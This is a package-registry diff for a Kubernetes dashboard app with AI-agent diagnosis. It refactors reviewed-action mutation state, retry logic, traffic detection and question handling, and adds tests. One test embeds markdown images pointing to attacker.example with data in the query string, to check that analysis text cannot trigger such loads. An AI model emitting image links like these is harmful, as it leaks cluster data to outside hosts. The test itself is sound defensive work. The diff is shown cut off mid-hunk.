@skyhook-io/radar-app 1.22.0 → 1.22.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/package.json +1 -1
  2. package/src/App.tsx +2 -1
  3. package/src/api/client.ts +12 -0
  4. package/src/api/cnpg-history.ts +3 -3
  5. package/src/api/cnpg-storage.ts +3 -3
  6. package/src/api/diagnose.test.ts +34 -0
  7. package/src/api/diagnose.ts +17 -4
  8. package/src/api/radarFeatures.test.ts +13 -1
  9. package/src/api/radarFeatures.ts +2 -0
  10. package/src/api/resourceActions.test.ts +829 -0
  11. package/src/api/resourceActions.ts +584 -0
  12. package/src/api/resourceActions.ui.test.tsx +1882 -0
  13. package/src/api/reviewedActionMutation.ts +56 -28
  14. package/src/api/substrateHealth.ts +2 -3
  15. package/src/api/traffic.ts +13 -5
  16. package/src/api/workloadMetrics.test.ts +11 -2
  17. package/src/api/workloadMetrics.ts +2 -2
  18. package/src/components/diagnose/AnalysisStory.test.tsx +12 -0
  19. package/src/components/diagnose/DiagnoseContext.question.test.tsx +34 -1
  20. package/src/components/diagnose/DiagnoseContext.tsx +28 -3
  21. package/src/components/diagnose/DiagnoseSurface.tsx +5 -4
  22. package/src/components/diagnose/Home.tsx +3 -0
  23. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +61 -0
  24. package/src/components/diagnose/InvestigationView.followupFailure.test.tsx +122 -0
  25. package/src/components/diagnose/InvestigationView.tsx +10 -2
  26. package/src/components/diagnose/LocalDiagnoseAction.history.test.tsx +1 -1
  27. package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -2
  28. package/src/components/diagnose/QuestionComposer.test.tsx +16 -2
  29. package/src/components/diagnose/QuestionComposer.tsx +13 -8
  30. package/src/components/diagnose/diagnoseEvidenceTypes.ts +47 -8
  31. package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +153 -0
  32. package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +9 -13
  33. package/src/components/diagnose/investigationEvidence/adapters/issues.ts +21 -5
  34. package/src/components/diagnose/investigationEvidence/bodies/network.tsx +63 -26
  35. package/src/components/diagnose/launch.ts +1 -1
  36. package/src/components/dock/PodDebugSession.test.tsx +66 -0
  37. package/src/components/dock/PodDebugSession.tsx +3 -1
  38. package/src/components/dock/TerminalTab.test.tsx +43 -3
  39. package/src/components/dock/TerminalTab.tsx +10 -1
  40. package/src/components/helm/HelmReleaseDrawer.tsx +1 -1
  41. package/src/components/helm/InstallWizard.tsx +1 -1
  42. package/src/components/home/mcpToolCatalog.ts +1 -1
  43. package/src/components/resources/PodEvictAction.test.tsx +951 -0
  44. package/src/components/resources/PodEvictAction.tsx +167 -0
  45. package/src/components/resources/ResourcesView.tsx +3 -0
  46. package/src/components/resources/renderers/WorkloadRenderer.tsx +3 -0
  47. package/src/components/settings/LocalConnectionSettings.tsx +4 -4
  48. package/src/components/settings/SettingsDialog.tsx +23 -18
  49. package/src/components/settings/integrationQueries.test.ts +98 -0
  50. package/src/components/settings/integrationQueries.ts +36 -0
  51. package/src/components/traffic/TrafficView.reconnect.test.tsx +229 -0
  52. package/src/components/traffic/TrafficView.tsx +91 -35
  53. package/src/components/ui/Markdown.test.tsx +37 -0
  54. package/src/components/ui/Markdown.tsx +15 -2
  55. package/src/components/useContextSwitchFlow.test.tsx +27 -2
  56. package/src/components/useContextSwitchFlow.tsx +20 -22
  57. package/src/components/workload/WorkloadView.tsx +16 -3
@@ -3,51 +3,79 @@ import { useMutation, useQueryClient, type MutationFunction, type QueryClient, t
3
3
  import { actionOutcomeLocked } from './actions'
4
4
  import { ApiError } from './client'
5
5
 
6
- interface Outcome {
6
+ export interface ReviewedActionOutcome {
7
7
  pending: boolean
8
8
  error: Error | null
9
9
  }
10
- const EMPTY: Outcome = { pending: false, error: null }
11
- const stores = new WeakMap<QueryClient, { entries: Map<string, Outcome>; listeners: Set<() => void> }>()
10
+
11
+ const EMPTY: ReviewedActionOutcome = { pending: false, error: null }
12
+
13
+ export interface ReviewedActionOutcomeStore {
14
+ get: (key: string) => ReviewedActionOutcome
15
+ set: (key: string, value: ReviewedActionOutcome) => void
16
+ subscribe: (listener: () => void) => () => void
17
+ getVersion: () => number
18
+ }
19
+
20
+ const stores = new WeakMap<QueryClient, ReviewedActionOutcomeStore>()
21
+
22
+ /**
23
+ * QueryClient-scoped outcome memory shared across reviewed-action flows so
24
+ * closing/remounting a dialog or connection-recovery cache purges cannot unlock
25
+ * a second write while a request is in flight or after an uncertain outcome.
26
+ */
27
+ export function getReviewedActionOutcomeStore(client: QueryClient): ReviewedActionOutcomeStore {
28
+ let store = stores.get(client)
29
+ if (!store) {
30
+ const entries = new Map<string, ReviewedActionOutcome>()
31
+ const listeners = new Set<() => void>()
32
+ let version = 0
33
+ store = {
34
+ get: (key) => entries.get(key) ?? EMPTY,
35
+ set: (key, value) => {
36
+ if (value.pending || value.error) entries.set(key, value)
37
+ else entries.delete(key)
38
+ version += 1
39
+ for (const listener of listeners) listener()
40
+ },
41
+ subscribe: (listener) => {
42
+ listeners.add(listener)
43
+ return () => { listeners.delete(listener) }
44
+ },
45
+ getVersion: () => version,
46
+ }
47
+ stores.set(client, store)
48
+ }
49
+ return store
50
+ }
51
+
52
+ export const DEFAULT_OUTCOME_RECOVERY_INSTRUCTION =
53
+ 'Inspect the current state in Kubernetes first, then reload this page and review the action again.'
12
54
 
13
55
  /** Result memory belongs to the host, so dismissing a dialog cannot unlock a second write. */
14
56
  export function useReviewedActionMutation<Data, Variables extends { request: { reviewedContext: string } }>(
15
57
  target: string,
16
58
  reviewedContext: string | undefined,
17
59
  options: Omit<UseMutationOptions<Data, Error, Variables>, 'mutationFn' | 'mutationKey'> & { mutationFn: MutationFunction<Data, Variables> },
18
- recoveryInstruction = 'Inspect the current state, then reload this page and review the action again.',
60
+ recoveryInstruction = DEFAULT_OUTCOME_RECOVERY_INSTRUCTION,
19
61
  ) {
20
62
  const client = useQueryClient()
21
- let store = stores.get(client)
22
- if (!store) {
23
- store = { entries: new Map(), listeners: new Set() }
24
- stores.set(client, store)
25
- }
26
- const outcomes = store
63
+ const outcomes = getReviewedActionOutcomeStore(client)
27
64
  const keyFor = (context: string | undefined) => JSON.stringify([target, context])
28
65
  const key = keyFor(reviewedContext)
29
- const subscribe = useCallback((listener: () => void) => {
30
- outcomes.listeners.add(listener)
31
- return () => { outcomes.listeners.delete(listener) }
32
- }, [outcomes])
33
- const snapshot = useCallback(() => outcomes.entries.get(key) ?? EMPTY, [outcomes, key])
66
+ const snapshot = useCallback(() => outcomes.get(key), [outcomes, key])
34
67
  // Connection recovery purges query/mutation caches. It must not forget a
35
68
  // request still in flight or a result that may already have changed the target.
36
- const retained = useSyncExternalStore(subscribe, snapshot, () => EMPTY)
37
- const publish = (key: string, value: Outcome) => {
38
- if (value.pending || value.error) outcomes.entries.set(key, value)
39
- else outcomes.entries.delete(key)
40
- for (const listener of outcomes.listeners) listener()
41
- }
69
+ const retained = useSyncExternalStore(outcomes.subscribe, snapshot, () => EMPTY)
42
70
  const mutation = useMutation<Data, Error, Variables>({
43
71
  ...options,
44
72
  mutationKey: ['reviewed-action', target, reviewedContext],
45
73
  mutationFn: async (variables, context) => {
46
74
  const boundKey = keyFor(variables.request.reviewedContext)
47
- const previous = outcomes.entries.get(boundKey)
48
- if (previous?.error) throw previous.error
49
- if (previous?.pending) throw new ApiError('A write to this target is still in progress. Wait for its result.', 409, { code: 'blocked' })
50
- publish(boundKey, { pending: true, error: null })
75
+ const previous = outcomes.get(boundKey)
76
+ if (previous.error) throw previous.error
77
+ if (previous.pending) throw new ApiError('A write to this target is still in progress. Wait for its result.', 409, { code: 'blocked' })
78
+ outcomes.set(boundKey, { pending: true, error: null })
51
79
  let retainedError: Error | null = null
52
80
  try {
53
81
  return await options.mutationFn(variables, context)
@@ -59,13 +87,13 @@ export function useReviewedActionMutation<Data, Variables extends { request: { r
59
87
  }
60
88
  throw error
61
89
  } finally {
62
- publish(boundKey, { pending: false, error: retainedError })
90
+ outcomes.set(boundKey, { pending: false, error: retainedError })
63
91
  }
64
92
  },
65
93
  })
66
94
  const acknowledgeOutcome = () => {
67
- if (outcomes.entries.get(key)?.error) {
68
- publish(key, EMPTY)
95
+ if (outcomes.get(key).error) {
96
+ outcomes.set(key, EMPTY)
69
97
  mutation.reset()
70
98
  }
71
99
  }
@@ -1,7 +1,7 @@
1
1
  import { useQuery } from '@tanstack/react-query'
2
2
  import { getApiBase } from './config'
3
3
  import type { TimeSeries } from '@skyhook-io/k8s-ui/components/charts'
4
- import { ApiError, fetchJSON, useClusterInfo, useRadarFeature, type PrometheusTimeRange } from './client'
4
+ import { fetchJSON, shouldRetryReplacedMember, useClusterInfo, useRadarFeature, type PrometheusTimeRange } from './client'
5
5
 
6
6
  export type SubstrateChartState =
7
7
  | 'ok'
@@ -127,8 +127,7 @@ export function useSubstrateHealth(target: SubstrateTarget, enabled: boolean) {
127
127
  enabled: enabled && feature.support === 'supported',
128
128
  staleTime: 30_000,
129
129
  refetchInterval: 60_000,
130
- // A changed connection answers 409 and is safe to retry once; a denial is final.
131
- retry: (failureCount, error) => failureCount < 1 && error instanceof ApiError && error.status === 409,
130
+ retry: shouldRetryReplacedMember,
132
131
  })
133
132
  return { ...query, upgrade: feature.upgrade, blockedReason: feature.blockedReason, support: feature.support }
134
133
  }
@@ -1,5 +1,5 @@
1
1
  import { useCallback, useMemo } from 'react'
2
- import { useQuery, useMutation, useQueryClient, type QueryClient } from '@tanstack/react-query'
2
+ import { CancelledError, useQuery, useMutation, useQueryClient, type QueryClient } from '@tanstack/react-query'
3
3
  import type { TrafficSourcesResponse, TrafficFlowsResponse, TrafficRecordsResponse } from '../types'
4
4
  import { fetchJSON as fetchApiJSON, useRadarFeature } from './client'
5
5
  import { shouldRetryRadarQuery } from './radarFeatures'
@@ -48,11 +48,18 @@ export async function fetchTrafficSources(queryClient: QueryClient, fresh: boole
48
48
  export async function detectTrafficSourcesAgain(queryClient: QueryClient): Promise<TrafficSourcesResponse> {
49
49
  // A pending fetch of the same key would otherwise be returned in its place.
50
50
  await queryClient.cancelQueries({ queryKey: ['traffic-sources'], exact: true })
51
- return queryClient.fetchQuery({
51
+ let detectionSignal: AbortSignal | undefined
52
+ const sources = await queryClient.fetchQuery({
52
53
  queryKey: ['traffic-sources'],
53
- queryFn: ({ signal }) => fetchTrafficSources(queryClient, true, signal),
54
+ queryFn: ({ signal }) => {
55
+ detectionSignal = signal
56
+ return fetchTrafficSources(queryClient, true, signal)
57
+ },
54
58
  staleTime: 0,
55
59
  })
60
+ // A cancelled fetch with cached data can resolve with the previous answer.
61
+ if (detectionSignal?.aborted) throw new CancelledError()
62
+ return sources
56
63
  }
57
64
 
58
65
  export function useTrafficSources() {
@@ -268,11 +275,12 @@ export function useRefetchTrafficSources() {
268
275
  }
269
276
 
270
277
  // Get traffic connection status
271
- export function useTrafficConnectionStatus() {
278
+ export function useTrafficConnectionStatus(enabled = true) {
272
279
  return useQuery<TrafficConnectionInfo>({
273
280
  queryKey: ['traffic-connection'],
274
- queryFn: () => fetchJSON('/traffic/connection'),
281
+ queryFn: ({ signal }) => fetchJSON('/traffic/connection', signal),
275
282
  staleTime: 5000, // 5 seconds
283
+ enabled,
276
284
  })
277
285
  }
278
286
 
@@ -1,11 +1,12 @@
1
1
  import { describe, expect, it, vi } from 'vitest'
2
+ import { ApiError } from './client'
2
3
  import type { WorkloadMetrics } from './workloadMetrics'
3
4
 
4
5
  vi.mock('@tanstack/react-query', () => ({ useQuery: (options: unknown) => options }))
5
- vi.mock('./client', () => ({
6
+ vi.mock('./client', async importOriginal => ({
7
+ ...(await importOriginal<typeof import('./client')>()),
6
8
  useClusterInfo: () => ({ data: { context: 'cluster-a' } }),
7
9
  fetchJSON: vi.fn(),
8
- ApiError: class extends Error {},
9
10
  }))
10
11
  vi.mock('./config', () => ({ getApiBase: () => '/api' }))
11
12
  const { useWorkloadMetrics: workloadQueryOptions } = await import('./workloadMetrics')
@@ -15,6 +16,7 @@ describe('workload source-switch placeholders', () => {
15
16
  queryKey: unknown[]
16
17
  placeholderData: (data: WorkloadMetrics, query: { queryKey: unknown[] }) => WorkloadMetrics | undefined
17
18
  refetchInterval: (query: { state: { data: WorkloadMetrics } }) => number
19
+ retry: (failureCount: number, error: Error) => boolean
18
20
  }
19
21
  const data: WorkloadMetrics = {
20
22
  state: 'available', sources: [], pods: 1, podsTotal: 1,
@@ -31,6 +33,13 @@ describe('workload source-switch placeholders', () => {
31
33
  expect(options().refetchInterval({ state: { data } })).toBe(30_000)
32
34
  expect(options().refetchInterval({ state: { data: { ...data, comparison: { cpu: { state: 'detecting', unit: 'cores', series: [] } } } } })).toBe(3_000)
33
35
  })
36
+ it.each([409, 503])('retries an HTTP %s once on connection replacement', (status) => {
37
+ const { retry } = options()
38
+ const error = new ApiError('Metrics connection closed. Retry the request', status)
39
+ expect(retry(0, error)).toBe(true)
40
+ expect(retry(1, error)).toBe(false)
41
+ expect(retry(0, new ApiError('Forbidden', 403))).toBe(false)
42
+ })
34
43
  it.each([1, 2, 3, 4, 5, 6])('drops the previous payload when identity field %s changes', (index) => {
35
44
  const query = options()
36
45
  const key = [...query.queryKey]
@@ -1,6 +1,6 @@
1
1
  import { useQuery } from "@tanstack/react-query";
2
2
  import type { TimeSeries } from "@skyhook-io/k8s-ui/components/charts";
3
- import { ApiError, fetchJSON, useClusterInfo, type PrometheusTimeRange } from "./client";
3
+ import { fetchJSON, shouldRetryReplacedMember, useClusterInfo, type PrometheusTimeRange } from "./client";
4
4
  import { getApiBase } from "./config";
5
5
 
6
6
  export type WorkloadMetricState =
@@ -65,6 +65,6 @@ export function useWorkloadMetrics(
65
65
  enabled,
66
66
  staleTime: 30_000,
67
67
  refetchInterval: (query) => query.state.data?.state === "detecting" || Object.values(query.state.data?.comparison ?? {}).some((panel) => panel.state === "detecting") ? 3_000 : 30_000,
68
- retry: (failureCount, error) => failureCount < 1 && error instanceof ApiError && error.status === 409,
68
+ retry: shouldRetryReplacedMember,
69
69
  });
70
70
  }
@@ -327,6 +327,18 @@ describe("AnalysisStory", () => {
327
327
  expect(withTrailing).not.toContain("data-trailing");
328
328
  });
329
329
 
330
+ it("never loads an image the analysis text asks for, in the preview, the faded teaser or the open story", () => {
331
+ const report =
332
+ "Opening ![a](https://attacker.example/1?d=x).\n\n[[radar:evidence=0]]\n\nBehind the fold ![b](https://attacker.example/2?d=x).\n\n[[radar:evidence=1]]";
333
+ for (const html of [render(report), render(report, true)]) {
334
+ expect(html).not.toContain("<img");
335
+ expect(html).not.toContain("preload");
336
+ expect(html).not.toContain("attacker.example");
337
+ }
338
+ expect(render(report)).toContain("data-story-teaser");
339
+ expect(render(report, true)).toContain("Behind the fold <span>b</span>.");
340
+ });
341
+
330
342
  it("does not offer a fold when everything already fits the preview", () => {
331
343
  const html = render("One paragraph only.");
332
344
  expect(html).toContain("One paragraph only.");
@@ -13,6 +13,8 @@ import { runTargetKey } from "./target";
13
13
 
14
14
  const api = vi.hoisted(() => ({
15
15
  createRun: vi.fn(),
16
+ fullQuestions: true,
17
+ targetedQuestions: false,
16
18
  recordConsent: vi.fn(),
17
19
  consented: {} as Record<string, boolean>,
18
20
  runs: [] as unknown[],
@@ -34,7 +36,8 @@ vi.mock("../../api/diagnose", async (importOriginal) => ({
34
36
  supported: true,
35
37
  profiles: ["safeguarded"],
36
38
  consentSurfaces: { safeguarded: "claude:safeguarded" },
37
- questions: true,
39
+ questions: api.fullQuestions,
40
+ targetQuestions: api.targetedQuestions,
38
41
  },
39
42
  ],
40
43
  }),
@@ -85,6 +88,8 @@ const question = {
85
88
 
86
89
  beforeEach(async () => {
87
90
  api.createRun.mockReset();
91
+ api.fullQuestions = true;
92
+ api.targetedQuestions = false;
88
93
  api.recordConsent.mockReset();
89
94
  api.consented = {};
90
95
  api.runs = [];
@@ -243,3 +248,31 @@ describe("starting from a question", () => {
243
248
  expect(diagnose.questionDraft?.context).toBe("cluster-a");
244
249
  });
245
250
  });
251
+
252
+ it("requires one selected resource on target-only agents, including starts replayed after consent", async () => {
253
+ api.fullQuestions = false;
254
+ api.targetedQuestions = true;
255
+ api.recordConsent.mockResolvedValue(undefined);
256
+ await act(async () => diagnose.recheckAgents());
257
+ await act(async () => diagnose.openInvestigation(question));
258
+ await act(async () => diagnose.approveConsent());
259
+ await flush();
260
+ expect(api.createRun).not.toHaveBeenCalled();
261
+ expect(diagnose.startError).toContain("Choose a resource");
262
+ expect(diagnose.questionDraft?.text).toBe(question.question);
263
+ });
264
+
265
+ it("sends the exact pinned resource and question, without the composer's local state", async () => {
266
+ api.fullQuestions = false;
267
+ api.targetedQuestions = true;
268
+ api.consented = { "claude:safeguarded": true };
269
+ await act(async () => diagnose.recheckAgents());
270
+ expect(diagnose.questions).toBe(false);
271
+ expect(diagnose.targetQuestions).toBe(true);
272
+ api.createRun.mockResolvedValue({ id: "run-resource" });
273
+ await act(async () => diagnose.openInvestigation({ ...question, kind: "Deployment", group: "apps", namespace: "shop", name: "checkout" }));
274
+ expect(api.createRun.mock.calls[0][0]).toEqual({
275
+ kind: "Deployment", group: "apps", namespace: "shop", name: "checkout",
276
+ question: question.question, namespaces: question.namespaces, lookBack: "1h",
277
+ });
278
+ });
@@ -130,7 +130,8 @@ interface DiagnoseCtx {
130
130
  cliOverride: boolean;
131
131
  agentLabel: string; // label of the selected agent, e.g. "Claude Code"
132
132
  hosted: boolean; // selected agent runs on the host's backend, not this machine
133
- questions: boolean; // the selected agent's backend opens a run from a question
133
+ questions: boolean; // the selected agent accepts a question without a resource
134
+ targetQuestions: boolean; // the agent accepts a question pinned to a resource
134
135
  agents: AgentInfo[]; // supported agents detected on PATH (for the picker)
135
136
  selectedAgent: string; // name of the chosen backend ("claude"/"codex")
136
137
  setSelectedAgent: (name: string) => void;
@@ -723,6 +724,8 @@ function RoutedDiagnoseProvider({
723
724
  : (selectedAgentInfo?.profiles?.[0] ?? profile);
724
725
  const agentLabel = agentLabelFor(selectedAgent, selectedAgentInfo?.label);
725
726
  const hosted = !!selectedAgentInfo?.hosted;
727
+ const questions = selectedAgentInfo?.questions === true;
728
+ const targetQuestions = questions || selectedAgentInfo?.targetQuestions === true;
726
729
  // Hosted Radar uses its existing per-user disclosure surface and supplies its
727
730
  // own copy. Local agents use the execution profile as the consent contract.
728
731
  const consentSurface = hosted
@@ -946,8 +949,29 @@ function RoutedDiagnoseProvider({
946
949
  const startRunRef = useRef<(t: Target) => void>(() => {});
947
950
  startRunRef.current = (t: Target) => {
948
951
  const seq = ++startSeqRef.current;
952
+ if (t.question && (!targetQuestions || (!questions && (!t.kind || !t.name)))) {
953
+ giveQuestionBack(t);
954
+ setStartFailure({
955
+ refusal: null,
956
+ message: targetQuestions
957
+ ? "Choose a resource to investigate this question."
958
+ : "This agent does not accept an opening question.",
959
+ });
960
+ return;
961
+ }
949
962
  createRun(
950
- { ...t, kind: knownKindForPluralWithGroup(t.kind, t.group) ?? t.kind },
963
+ {
964
+ kind: knownKindForPluralWithGroup(t.kind, t.group) ?? t.kind,
965
+ group: t.group,
966
+ namespace: t.namespace,
967
+ name: t.name,
968
+ issueId: t.issueId,
969
+ fresh: t.fresh,
970
+ question: t.question,
971
+ namespaces: t.namespaces,
972
+ lookBack: t.lookBack,
973
+ askedAt: t.askedAt,
974
+ },
951
975
  {
952
976
  agent: selectedAgent || undefined,
953
977
  profile: hosted ? undefined : effectiveProfile,
@@ -1357,7 +1381,8 @@ function RoutedDiagnoseProvider({
1357
1381
  cliOverride,
1358
1382
  agentLabel,
1359
1383
  hosted,
1360
- questions: selectedAgentInfo?.questions === true,
1384
+ questions,
1385
+ targetQuestions,
1361
1386
  agents,
1362
1387
  selectedAgent,
1363
1388
  setSelectedAgent,
@@ -113,7 +113,7 @@ function buildConfigLine(cfg: {
113
113
  // run nothing to take a resource or question from.
114
114
  // running/stopping human starts reuse the live run. Automatic investigations
115
115
  // are immutable, so they retain a separate fresh human start.
116
- // stale the original session is closed after a cluster switch;
116
+ // stale the cluster connection it ran on has closed;
117
117
  // the resource may not exist in the active context. Do not
118
118
  // silently start a different-cluster investigation from here.
119
119
  // needsConsent the consent card owns the surface until it's answered.
@@ -662,10 +662,11 @@ export function DiagnoseSurface({
662
662
  ) : (
663
663
  <InvestigationHome
664
664
  agentLabel={d.agentLabel}
665
- questions={d.questions}
665
+ questions={d.targetQuestions}
666
+ requireResource={d.targetQuestions && !d.questions}
666
667
  onOpenExample={openExample}
667
668
  onBrowseIssues={
668
- d.questions || (d.runsLoaded && d.runs.length === 0)
669
+ d.targetQuestions || (d.runsLoaded && d.runs.length === 0)
669
670
  ? onBrowseIssues
670
671
  : undefined
671
672
  }
@@ -881,7 +882,7 @@ export function DiagnoseSurface({
881
882
  loaded={d.runsLoaded}
882
883
  loadFailed={d.runsLoadFailed}
883
884
  onRetry={d.refreshRuns}
884
- questions={d.questions}
885
+ questions={d.targetQuestions}
885
886
  // Beside Home on the full page, Home already offers it.
886
887
  onOpenExample={
887
888
  persistentHistory || exampleOpen || !openExample
@@ -148,17 +148,20 @@ export function InvestigationHome({
148
148
  onBrowseIssues,
149
149
  onOpenExample,
150
150
  questions = false,
151
+ requireResource = false,
151
152
  }: {
152
153
  agentLabel: string;
153
154
  onBrowseIssues?: () => void;
154
155
  onOpenExample?: () => void;
155
156
  /** The backend opens a run from a question; offer the composer. */
156
157
  questions?: boolean;
158
+ requireResource?: boolean;
157
159
  }) {
158
160
  if (questions) {
159
161
  return (
160
162
  <div className="flex min-h-full w-full items-start justify-center px-4 py-10 sm:px-6">
161
163
  <QuestionComposer
164
+ requireResource={requireResource}
162
165
  onBrowseIssues={onBrowseIssues}
163
166
  onOpenExample={onOpenExample}
164
167
  />
@@ -1116,6 +1116,67 @@ describe("InvestigationEvidencePane hierarchy and provenance", () => {
1116
1116
  expect(html).not.toMatch(/<button[^>]*>shop\/api\.example\.test<\/button>/);
1117
1117
  });
1118
1118
 
1119
+ it("shows a stored CoreDNS rule as copied text with its source and no severity", () => {
1120
+ const rule =
1121
+ "rewrite name regex .*\\.nodes\\.vcluster\\.com kubernetes.default.svc.cluster.local";
1122
+ const html = render(
1123
+ project(
1124
+ tool("diagnose-dns-rules", "diagnose", {
1125
+ resource: {
1126
+ apiVersion: "apps/v1",
1127
+ kind: "Deployment",
1128
+ metadata: { namespace: "shop", name: "api" },
1129
+ },
1130
+ resourceContext: { tier: "basic" },
1131
+ pods: 0,
1132
+ events: [],
1133
+ dnsContext: {
1134
+ signals: ["pod logs contain DNS resolution failures"],
1135
+ coreDNSRules: [
1136
+ {
1137
+ kind: "ConfigMap",
1138
+ namespace: "kube-system",
1139
+ name: "coredns",
1140
+ key: "Corefile",
1141
+ line: 5,
1142
+ text: rule,
1143
+ truncated: true,
1144
+ },
1145
+ ],
1146
+ // The verdict shape some Radar versions send.
1147
+ coreDNSFindings: [
1148
+ {
1149
+ kind: "ConfigMap",
1150
+ namespace: "kube-system",
1151
+ name: "coredns-custom",
1152
+ severity: "warning",
1153
+ reason: "CoreDNS service DNS rewrite",
1154
+ message: "CoreDNS Corefile contains a rule.",
1155
+ },
1156
+ ],
1157
+ omittedCoreDNSRules: 3,
1158
+ },
1159
+ }),
1160
+ ),
1161
+ false,
1162
+ undefined,
1163
+ undefined,
1164
+ () => {},
1165
+ );
1166
+
1167
+ expect(html).toContain("rules in the CoreDNS config");
1168
+ expect(html).toContain("rewrite name regex");
1169
+ expect(html).toContain("Corefile, line 5");
1170
+ expect(html).toContain("Open the ConfigMap for the whole rule");
1171
+ expect(html).toContain("3 more rules are not shown");
1172
+ expect(html).toMatch(/<button[^>]*>kube-system\/coredns<\/button>/);
1173
+ expect(html).toMatch(/<button[^>]*>kube-system\/coredns-custom<\/button>/);
1174
+ expect(html).toContain(
1175
+ "CoreDNS service DNS rewrite: CoreDNS Corefile contains a rule.",
1176
+ );
1177
+ expect(html).not.toMatch(/>warning</);
1178
+ });
1179
+
1119
1180
  it("waits for disclosure motion only when reduced motion is not requested", () => {
1120
1181
  expect(investigationDisclosureSettleDelay(false)).toBe(
1121
1182
  INVESTIGATION_DISCLOSURE_SETTLE_MS,
@@ -0,0 +1,122 @@
1
+ // @vitest-environment jsdom
2
+ import { act, type ReactNode } from "react";
3
+ import { createRoot, type Root } from "react-dom/client";
4
+ import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
5
+ import { MemoryRouter } from "react-router-dom";
6
+ import { afterEach, beforeEach, expect, it, vi } from "vitest";
7
+
8
+ import { DiagnoseError, type SubscribeHandlers } from "../../api/diagnose";
9
+ import { EXAMPLE_INVESTIGATION_RUN } from "./exampleInvestigation";
10
+ import { InvestigationView } from "./InvestigationView";
11
+
12
+ const addTurn = vi.fn();
13
+ vi.mock("../../api/diagnose", async (importOriginal) => ({
14
+ ...(await importOriginal<typeof import("../../api/diagnose")>()),
15
+ subscribeRun: (_id: string, handlers: SubscribeHandlers) => {
16
+ queueMicrotask(() => handlers.onEvent({ type: "replay_complete" } as never));
17
+ return () => {};
18
+ },
19
+ addTurn: (...args: unknown[]) => addTurn(...args),
20
+ }));
21
+ vi.mock("./DiagnoseContext", () => ({
22
+ useDiagnose: () => ({
23
+ refreshRuns: vi.fn(),
24
+ openInvestigation: vi.fn(),
25
+ openQuestion: vi.fn(),
26
+ startError: null,
27
+ startRefusal: null,
28
+ dismissError: vi.fn(),
29
+ agents: [],
30
+ }),
31
+ }));
32
+ vi.mock("../../context/ThemeContext", () => ({
33
+ useTheme: () => ({ theme: "light", setTheme: vi.fn(), toggleTheme: vi.fn() }),
34
+ }));
35
+ vi.mock("../ui/Tooltip", () => ({
36
+ Tooltip: ({ children }: { children: ReactNode }) => children,
37
+ }));
38
+
39
+ Object.assign(globalThis, { IS_REACT_ACT_ENVIRONMENT: true });
40
+ let root: Root;
41
+ let container: HTMLDivElement;
42
+
43
+ beforeEach(() => {
44
+ vi.stubGlobal("fetch", vi.fn());
45
+ vi.stubGlobal(
46
+ "ResizeObserver",
47
+ class {
48
+ observe() {}
49
+ unobserve() {}
50
+ disconnect() {}
51
+ },
52
+ );
53
+ vi.stubGlobal("matchMedia", (query: string) => ({
54
+ matches: false,
55
+ media: query,
56
+ addEventListener() {},
57
+ removeEventListener() {},
58
+ addListener() {},
59
+ removeListener() {},
60
+ }));
61
+ container = document.createElement("div");
62
+ document.body.appendChild(container);
63
+ root = createRoot(container);
64
+ });
65
+
66
+ afterEach(() => {
67
+ act(() => root.unmount());
68
+ container.remove();
69
+ vi.unstubAllGlobals();
70
+ addTurn.mockReset();
71
+ });
72
+
73
+ function typeInto(textarea: HTMLTextAreaElement, value: string) {
74
+ const setter = Object.getOwnPropertyDescriptor(HTMLTextAreaElement.prototype, "value")!.set!;
75
+ setter.call(textarea, value);
76
+ textarea.dispatchEvent(new Event("input", { bubbles: true }));
77
+ }
78
+
79
+ async function mountFollowupBox() {
80
+ await act(async () => {
81
+ root.render(
82
+ <QueryClientProvider client={new QueryClient()}>
83
+ <MemoryRouter>
84
+ <InvestigationView run={{ ...EXAMPLE_INVESTIGATION_RUN, id: "run-1", canContinue: true }} agentLabel="Claude Code" maximized />
85
+ </MemoryRouter>
86
+ </QueryClientProvider>,
87
+ );
88
+ });
89
+ const box = await vi.waitFor(() => {
90
+ const el = container.querySelector<HTMLTextAreaElement>('textarea[placeholder="Ask a follow-up or refine…"]');
91
+ expect(el).not.toBeNull();
92
+ return el!;
93
+ });
94
+ return box;
95
+ }
96
+
97
+ async function send(box: HTMLTextAreaElement, question: string) {
98
+ await act(async () => typeInto(box, question));
99
+ await act(async () => {
100
+ container.querySelector<HTMLButtonElement>('button[aria-label="Send follow-up"]')!.click();
101
+ });
102
+ }
103
+
104
+ it("gives a refused follow-up back with the reason, instead of losing it", async () => {
105
+ const question = "é".repeat(2001);
106
+ addTurn.mockRejectedValue(new DiagnoseError(400, "question is too long (at most 2000 characters)"));
107
+ const box = await mountFollowupBox();
108
+ await send(box, question);
109
+
110
+ expect(addTurn).toHaveBeenCalledWith("run-1", { question });
111
+ await vi.waitFor(() => expect(container.textContent).toContain("question is too long (at most 2000 characters)"));
112
+ expect(box.value).toBe(question);
113
+ });
114
+
115
+ it("does not give back a follow-up when the network failed, since the server may have taken it", async () => {
116
+ addTurn.mockRejectedValue(new TypeError("Failed to fetch"));
117
+ const box = await mountFollowupBox();
118
+ await send(box, "why did it restart?");
119
+
120
+ await vi.waitFor(() => expect(container.textContent).toContain("Couldn't send."));
121
+ expect(box.value).toBe("");
122
+ });
@@ -391,6 +391,7 @@ export function InvestigationView({
391
391
  const [busy, setBusy] = useState(false);
392
392
  const [requestPending, setRequestPending] = useState(false);
393
393
  const explanationRequestSerial = useRef(0);
394
+ const followupRequestSerial = useRef(0);
394
395
  const [explanationRequest, setExplanationRequest] = useState<{
395
396
  sequence: number;
396
397
  status: "running" | "error";
@@ -946,9 +947,16 @@ export function InvestigationView({
946
947
  setNarrowPane("activity");
947
948
  suppressEvidenceMotionRef.current = false;
948
949
  pinnedRef.current = true; // a user-initiated turn always follows to the bottom
950
+ const serial = ++followupRequestSerial.current;
949
951
  setRequestPending(true);
950
952
  addTurn(run.id, { question: q }).catch((e) => {
951
953
  setRequestPending(false);
954
+ // Hand the question back so a refusal (too long, say) can be fixed
955
+ // instead of retyped. Only when the server answered with a refusal: a
956
+ // network failure may hide an accepted turn. Not when a newer follow-up
957
+ // was sent since, or the engineer has started typing.
958
+ if (e instanceof DiagnoseError && serial === followupRequestSerial.current)
959
+ setInput((current) => (current === "" ? q : current));
952
960
